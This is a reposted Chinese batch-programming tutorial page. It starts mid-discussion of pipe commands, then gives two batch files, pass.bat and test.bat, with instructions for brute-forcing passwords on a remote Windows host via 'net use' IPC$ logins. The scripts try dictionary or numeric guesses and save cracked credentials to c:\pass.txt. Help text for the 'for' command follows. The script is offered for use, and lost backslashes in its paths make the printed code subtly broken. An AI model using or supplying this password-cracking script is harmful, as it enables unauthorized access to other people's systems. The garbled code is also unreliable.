当前位置: 移动技术网 > IT编程>网络>Dos/Bat > 又一篇不错的批处理bat学习教程第1/5页

又一篇不错的批处理bat学习教程第1/5页

2017年12月12日  | 移动技术网IT编程  | 我要评论

警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与本人和本论坛无关。特此警告! 

有关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解? 

这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for /?都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等dos命令的问题,可以从dos的角度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了! 
将下列代码存为bat文件 
1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名 
2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名 
密码破解出来之后,存放于c:\pass.txt文件里面。 
将下列代码存为pass.bat文件  


复制代码 代码如下:

@echo off  
echo ------------------------------------------------------------------- >>c:pass.txt  
echo ------------------------------------------------------------------- >>c:pass.txt  
date /t >>c:pass.txt  
time /t >>c:pass.txt  
echo 破解结果: >>c:pass.txt  
if "%6"=="1" goto 大棒槌是我的说2  
:大棒槌是我的说1  
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3  
goto quit  
:大棒槌是我的说2  
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5  
:quit  

将下列代码存为test.bat 

复制代码 代码如下:

net use \%1ipc$ %2 /user:"%3"  
goto answer%errorlevel%  
rem %errorlevel%表示取前一命令执行返回结果,net use成功返回0,失败返回2  
:answer0  
echo 远程主机:"%1" >>c:pass.txt  
echo 用 户:"%3" >>c:pass.txt  
echo 密 码:%2 >>c:pass.txt  
net use \%1ipc$ /delet  
exit  
:answer2  


“for”: 
对一组文件中的每个文件运行指定的命令。 

可以在批处理程序中或直接从命令提示符使用 for 命令。 

要在批处理程序中使用 for 命令,请使用以下语法: 

for %%variable in (set) docommand [command-parameters] 

要在命令提示符下使用 for,请使用以下语法: 

for %variable in (set) do command [command-parameters] 

参数 

%%variable 或 %variable 

代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。 

(set) 

指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。 

command 

指定要在指定的 set 所包含的每个文件上执行的命令。 

command-parameters 

指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。 

如果启用了命令扩展(windows 2000 中的默认设置),将支持 for 命令的其他形式。 
for 命令的其他形式 
如果启用了命令扩展,将支持如下 for 命令的其他格式: 

只限于目录 

for /d [%% | %]variable in (set) docommand [command-parameters] 

如果 set 包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名。 

递归 

for /r [[drive :]path] [%% | %]variable in (set) docommand [command-parameters] 

进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /r 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。 

迭代 

for /l [%% | %]variable in (start,step,end) do command [command-parameters] 

集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。
5

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网